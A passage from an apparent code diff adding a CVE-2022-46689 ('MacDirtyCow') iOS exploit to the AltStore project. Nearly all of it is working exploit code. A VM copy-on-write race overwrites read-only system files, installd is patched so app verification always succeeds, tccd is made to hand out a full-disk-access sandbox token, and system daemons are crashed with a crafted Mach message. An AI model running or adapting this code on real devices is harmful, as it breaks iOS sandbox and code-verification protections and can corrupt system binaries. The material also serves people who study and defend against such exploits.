if (!sourceData) {
|
||||||
|
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:5
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!over_write_file(fd, sourceData)) {
|
||||||
|
over_write_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
completion(
|
||||||
|
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:1
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||||
|
@"not be vulnerable to CVE-2022-46689."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
|
||||||
|
// crash_with_xpc_thingy("com.apple.tccd");
|
||||||
|
|
||||||
|
sleep(1);
|
||||||
|
call_tcc_daemon(^(NSString* _Nullable extension_token) {
|
||||||
|
over_write_file(fd, originalData);
|
||||||
|
// crash_with_xpc_thingy("com.apple.tccd");
|
||||||
|
NSError* returnError = nil;
|
||||||
|
if (extension_token == nil) {
|
||||||
|
returnError =
|
||||||
|
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:2
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"no extension token returned."
|
||||||
|
}];
|
||||||
|
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||||
|
returnError = [NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:3
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"failed: returned a media library token "
|
||||||
|
@"instead of an app sandbox token."
|
||||||
|
}];
|
||||||
|
extension_token = nil;
|
||||||
|
}
|
||||||
|
completion(extension_token, returnError);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
void grant_fda(void (^completion)(NSError* _Nullable)) {
|
||||||
|
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||||
|
// class introduced in iOS 15.0.
|
||||||
|
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:6
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey :
|
||||||
|
@"Not supported on iOS 14 and below."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||||
|
inDomains:NSUserDomainMask][0];
|
||||||
|
NSURL* sourceURL =
|
||||||
|
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
|
||||||
|
NSError* error = nil;
|
||||||
|
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
if (cachedToken) {
|
||||||
|
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||||
|
if (handle > 0) {
|
||||||
|
// cached version worked
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||||
|
if (error) {
|
||||||
|
completion(error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||||
|
if (handle <= 0) {
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:4
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
[extension_token writeToURL:sourceURL
|
||||||
|
atomically:true
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
completion(nil);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// MARK - installd patch
|
||||||
|
|
||||||
|
struct daemon_remove_app_limit_offsets {
|
||||||
|
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||||
|
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||||
|
uint64_t offset_data_const_end_padding;
|
||||||
|
// MIUninstallRecord::supportsSecureCoding
|
||||||
|
uint64_t offset_return_true;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
|
||||||
|
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||||
|
.offset_data_const_end_padding = 0x79c38,
|
||||||
|
.offset_return_true = 0x19860,
|
||||||
|
};
|
||||||
|
|
||||||
|
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
|
||||||
|
size_t executable_length,
|
||||||
|
const char* needle) {
|
||||||
|
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - execmap;
|
||||||
|
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(execmap + i);
|
||||||
|
if ((val & 0xfffffffful) != str_file_offset) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// baseMethods
|
||||||
|
if (*(uint64_t*)(execmap + i + 8) != 0) {
|
||||||
|
return i + 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
|
||||||
|
// mov w0, #1
|
||||||
|
// ret
|
||||||
|
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - execmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
|
||||||
|
struct daemon_remove_app_limit_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
// printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
// printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||||
|
pchfind_find_rwt_base_methods(execmap, executable_length,
|
||||||
|
"MIInstallableBundle")) == 0) {
|
||||||
|
// printf("no MIInstallableBundle class_rw_t\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||||
|
(*(uint64_t*)(execmap +
|
||||||
|
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||||
|
0xffffffull;
|
||||||
|
|
||||||
|
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
// printf("no return true\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct objc_method {
|
||||||
|
int32_t name;
|
||||||
|
int32_t types;
|
||||||
|
int32_t imp;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct objc_method_list {
|
||||||
|
uint32_t entsizeAndFlags;
|
||||||
|
uint32_t count;
|
||||||
|
struct objc_method methods[];
|
||||||
|
};
|
||||||
|
|
||||||
|
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
|
||||||
|
uint64_t new_offset, uint64_t* out_copied_length,
|
||||||
|
void (^callback)(const char* sel,
|
||||||
|
uint64_t* inout_function_pointer)) {
|
||||||
|
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||||
|
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||||
|
*out_copied_length =
|
||||||
|
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||||
|
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||||
|
new_list->count = original_list->count;
|
||||||
|
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||||
|
struct objc_method* method = &original_list->methods[method_index];
|
||||||
|
// Relative pointers
|
||||||
|
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||||
|
uint64_t types_file_offset =
|
||||||
|
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||||
|
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||||
|
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||||
|
callback(sel, &imp_file_offset);
|
||||||
|
|
||||||
|
struct objc_method* new_method = &new_list->methods[method_index];
|
||||||
|
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||||
|
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||||
|
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
|
||||||
|
struct daemon_remove_app_limit_offsets offsets = {};
|
||||||
|
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||||
|
uint64_t copied_size = 0;
|
||||||
|
uint64_t new_method_list_offset = current_empty_space;
|
||||||
|
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||||
|
current_empty_space, &copied_size,
|
||||||
|
^(const char* sel, uint64_t* inout_address) {
|
||||||
|
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*inout_address = offsets.offset_return_true;
|
||||||
|
});
|
||||||
|
current_empty_space += copied_size;
|
||||||
|
((struct
|
||||||
|
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||||
|
->target = new_method_list_offset;
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool installdaemon_patch() {
|
||||||
|
const char* targetPath = "/usr/libexec/installd";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
|
||||||
|
if (!sourceData) {
|
||||||
|
//can't patchfind
|
||||||
|
// NSLog(@"wuiydqw98uuqwd");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!over_write_file(fd, sourceData)) {
|
||||||
|
over_write_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
//can't overwrite
|
||||||
|
// NSLog(@"wfqiohuwdhuiqoji");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
crash_with_xpc_thingy("com.apple.mobile.installd");
|
||||||
|
sleep(1);
|
||||||
|
|
||||||
|
// TODO(zhuowei): for now we revert it once installd starts
|
||||||
|
// so the change will only last until when this installd exits
|
||||||
|
// over_write_file(fd, originalData);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
12
AltStore/MDCExploit/helping_tools.h
Normal file
12
AltStore/MDCExploit/helping_tools.h
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
#ifndef helpers_h
|
||||||
|
#define helpers_h
|
||||||
|
|
||||||
|
char* get_temporary_file_location_paths(void);
|
||||||
|
void test_nsexpressions(void);
|
||||||
|
char* setup_temporary_file(void);
|
||||||
|
|
||||||
|
void crash_with_xpc_thingy(char* service_name);
|
||||||
|
|
||||||
|
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||||
|
|
||||||
|
#endif /* helpers_h */
|
||||||
139
AltStore/MDCExploit/helping_tools.m
Normal file
139
AltStore/MDCExploit/helping_tools.m
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
|
||||||
|
char* get_temporary_file_location_paths(void) {
|
||||||
|
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// create a read-only test file we can target:
|
||||||
|
char* setup_temporary_file(void) {
|
||||||
|
char* path = get_temporary_file_location_paths();
|
||||||
|
// printf("path: %s\n", path);
|
||||||
|
|
||||||
|
FILE* f = fopen(path, "w");
|
||||||
|
if (!f) {
|
||||||
|
// printf("opening the tmp file failed...\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
char* buf = malloc(PAGE_SIZE*10);
|
||||||
|
memset(buf, 'A', PAGE_SIZE*10);
|
||||||
|
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||||
|
//fclose(f);
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
kern_return_t
|
||||||
|
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||||
|
|
||||||
|
struct x_p_c_w_zerozero_t {
|
||||||
|
mach_msg_header_t hdr;
|
||||||
|
mach_msg_body_t body;
|
||||||
|
mach_msg_port_descriptor_t client_port;
|
||||||
|
mach_msg_port_descriptor_t reply_port;
|
||||||
|
};
|
||||||
|
|
||||||
|
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
|
||||||
|
mach_port_t so = MACH_PORT_NULL;
|
||||||
|
mach_msg_type_name_t type = 0;
|
||||||
|
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//a=port right extraction failed: %s\n
|
||||||
|
// printf("PREFail: %s\n", mach_error_string(err));
|
||||||
|
return MACH_PORT_NULL;
|
||||||
|
}
|
||||||
|
//made so: 0x%x from recv: 0x%x\n
|
||||||
|
// printf("ms 0x%x fr: 0x%x\n", so, recv);
|
||||||
|
return so;
|
||||||
|
}
|
||||||
|
|
||||||
|
// copy-pasted from an exploit I wrote in 2019...
|
||||||
|
// still works...
|
||||||
|
|
||||||
|
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||||
|
|
||||||
|
void crash_with_xpc_thingy(char* service_name) {
|
||||||
|
mach_port_t client_port = MACH_PORT_NULL;
|
||||||
|
mach_port_t reply_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
mach_port_t service_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||||
|
if(err != KERN_SUCCESS){
|
||||||
|
//unable to look up
|
||||||
|
// printf("utluqwd %s\n", service_name);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (service_port == MACH_PORT_NULL) {
|
||||||
|
//bad service port
|
||||||
|
// printf("wih1221udq\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// allocate the client and reply port:
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//port allocation failed:
|
||||||
|
// printf("padiuhewi %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
|
||||||
|
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
|
||||||
|
|
||||||
|
// insert a send so we maintain the ability to send to this port
|
||||||
|
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//port right insertion failed:
|
||||||
|
// printf("weediuwe %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//port allocation failed:
|
||||||
|
// printf("wuiq21d %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct x_p_c_w_zerozero_t msg;
|
||||||
|
memset(&msg.hdr, 0, sizeof(msg));
|
||||||
|
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||||
|
msg.hdr.msgh_size = sizeof(msg);
|
||||||
|
msg.hdr.msgh_remote_port = service_port;
|
||||||
|
msg.hdr.msgh_id = 'w00t';
|
||||||
|
|
||||||
|
msg.body.msgh_descriptor_count = 2;
|
||||||
|
|
||||||
|
msg.client_port.name = client_port;
|
||||||
|
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||||
|
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
msg.reply_port.name = reply_port;
|
||||||
|
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||||
|
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
err = mach_msg(&msg.hdr,
|
||||||
|
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||||
|
msg.hdr.msgh_size,
|
||||||
|
0,
|
||||||
|
MACH_PORT_NULL,
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//w00t message send failed:
|
||||||
|
// printf("ondwehu %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
//sent xpc w00t message\n
|
||||||
|
// printf("wq98ywqe");
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_deallocate(mach_task_self(), so0);
|
||||||
|
mach_port_deallocate(mach_task_self(), so1);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
370
AltStore/MDCExploit/vm_unalign_csr.c
Normal file
370
AltStore/MDCExploit/vm_unalign_csr.c
Normal file
@@ -0,0 +1,370 @@
|
|||||||
|
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||||
|
// modified to compile outside of XNU
|
||||||
|
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <dispatch/dispatch.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include <mach/mach_init.h>
|
||||||
|
#include <mach/mach_port.h>
|
||||||
|
#include <mach/vm_map.h>
|
||||||
|
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
//vm_unaligned_copy_switch_race
|
||||||
|
#include "vm_unalign_csr.h"
|
||||||
|
|
||||||
|
#define T_QUIET
|
||||||
|
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||||
|
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||||
|
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||||
|
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_TRUE(a, b, ...)
|
||||||
|
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
#define T_DECL(a, b) static void a(void)
|
||||||
|
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
|
||||||
|
struct contextual_structure {
|
||||||
|
vm_size_t ob_sizing;
|
||||||
|
vm_address_t vmaddress_zeroe;
|
||||||
|
mach_port_t memory_entry_r_o;
|
||||||
|
mach_port_t memory_entry_r_w;
|
||||||
|
dispatch_semaphore_t currently_active_sem;
|
||||||
|
pthread_mutex_t mutex_thingy;
|
||||||
|
volatile bool finished;
|
||||||
|
};
|
||||||
|
|
||||||
|
//switcheroo_thread
|
||||||
|
static void *
|
||||||
|
sro_thread(__unused void *arg)
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
struct contextual_structure *ctx;
|
||||||
|
|
||||||
|
ctx = (struct contextual_structure *)arg;
|
||||||
|
/* tell main thread we're ready to run */
|
||||||
|
dispatch_semaphore_signal(ctx->currently_active_sem);
|
||||||
|
while (!ctx->finished) {
|
||||||
|
/* wait for main thread to be done setting things up */
|
||||||
|
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||||
|
if (ctx->finished) {
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* switch e0 to RW mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->vmaddress_zeroe,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->memory_entry_r_w,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
/* switch bakc to original RO mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->vmaddress_zeroe,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||||
|
/* tell main thread we're don switching mappings */
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
usleep(100);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
//unaligned_copy_switch_race
|
||||||
|
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
|
||||||
|
bool retval = false;
|
||||||
|
pthread_t th = NULL;
|
||||||
|
int ret;
|
||||||
|
kern_return_t kr;
|
||||||
|
time_t start, duration;
|
||||||
|
#if 0
|
||||||
|
mach_msg_type_number_t cow_read_size;
|
||||||
|
#endif
|
||||||
|
vm_size_t copied_size;
|
||||||
|
int loops;
|
||||||
|
vm_address_t e2, e5;
|
||||||
|
struct contextual_structure context1, *ctx;
|
||||||
|
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||||
|
vm_address_t ro_addr, tmp_addr;
|
||||||
|
memory_object_size_t mo_size;
|
||||||
|
|
||||||
|
ctx = &context1;
|
||||||
|
ctx->ob_sizing = 256 * 1024;
|
||||||
|
|
||||||
|
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
|
||||||
|
if (file_mapped == MAP_FAILED) {
|
||||||
|
// fprintf(stderr, "failed to map\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
|
||||||
|
// fprintf(stderr, "already the same?\n");
|
||||||
|
munmap(file_mapped, ctx->ob_sizing);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
ro_addr = (vm_address_t)file_mapped;
|
||||||
|
|
||||||
|
ctx->vmaddress_zeroe = 0;
|
||||||
|
ctx->currently_active_sem = dispatch_semaphore_create(0);
|
||||||
|
//c=dispatch_semaphore_create
|
||||||
|
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
|
||||||
|
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||||
|
ctx->finished = false;
|
||||||
|
ctx->memory_entry_r_w = MACH_PORT_NULL;
|
||||||
|
ctx->memory_entry_r_o = MACH_PORT_NULL;
|
||||||
|
#if 0
|
||||||
|
/* allocate our attack target memory */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&ro_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||||
|
/* initialize to 'A' */
|
||||||
|
memset((char *)ro_addr, 'A', ctx->ob_sizing);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* make it read-only */
|
||||||
|
kr = vm_protect(mach_task_self(),
|
||||||
|
ro_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
TRUE, /* set_maximum */
|
||||||
|
VM_PROT_READ);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||||
|
/* make sure we can't get read-write handle on that target memory */
|
||||||
|
mo_size = ctx->ob_sizing;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->memory_entry_r_o,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||||
|
/* take read-only handle on that target memory */
|
||||||
|
mo_size = ctx->ob_sizing;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||||
|
&ctx->memory_entry_r_o,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||||
|
//c= wrong mem_entry size
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
|
||||||
|
/* make sure we can't map target memory as writable */
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
